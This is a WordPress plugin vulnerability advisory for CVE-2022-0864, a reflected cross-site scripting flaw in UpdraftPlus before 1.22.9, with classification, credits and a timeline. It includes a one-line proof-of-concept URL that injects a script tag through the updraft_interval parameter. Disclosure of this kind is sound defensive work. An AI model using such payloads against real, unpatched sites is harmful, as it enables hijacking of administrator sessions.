WordPress Plugin Vulnerabilities

UpdraftPlus < 1.22.9 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

Proof of Concept

https://example.com//wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm(1)</script>

Affects Plugins

Plugin icon
updraftplus
Fixed in 1.22.9

References

CVE
CVE-2022-0864

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.5 (medium)

Miscellaneous

Original Researcher
Taurus Omar
Submitter
Taurus Omar
Submitter website
https://taurusomar.com
Submitter twitter
taurusomar_
Verified
Yes
WPVDB ID
7337543f-4c2c-4365-aebf-3423e9d2f872

Timeline

Publicly Published
2022-03-10 (about 2 years ago)
Added
2022-03-10 (about 2 years ago)
Last Updated
2022-04-17 (about 2 years ago)

Other

Published
Title
Published
2024-01-03
Title
CformsII < 15.0.7 - Admin+ Stored XSS
Published
2024-05-07
Title
Pootle Pagebuilder – WordPress Page builder <= 5.7.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Published
2023-05-03
Title
UserAgent-Spy <= 1.3.1 - Admin+ Stored XSS
Published
2024-04-10
Title
Save as PDF < 3.2.2 - Authenticated (Admin+) Stored Cross-Site Scripting
Published
2016-07-14
Title
Simple Membership <= 3.2.8 - Cross-Site Scripting (XSS)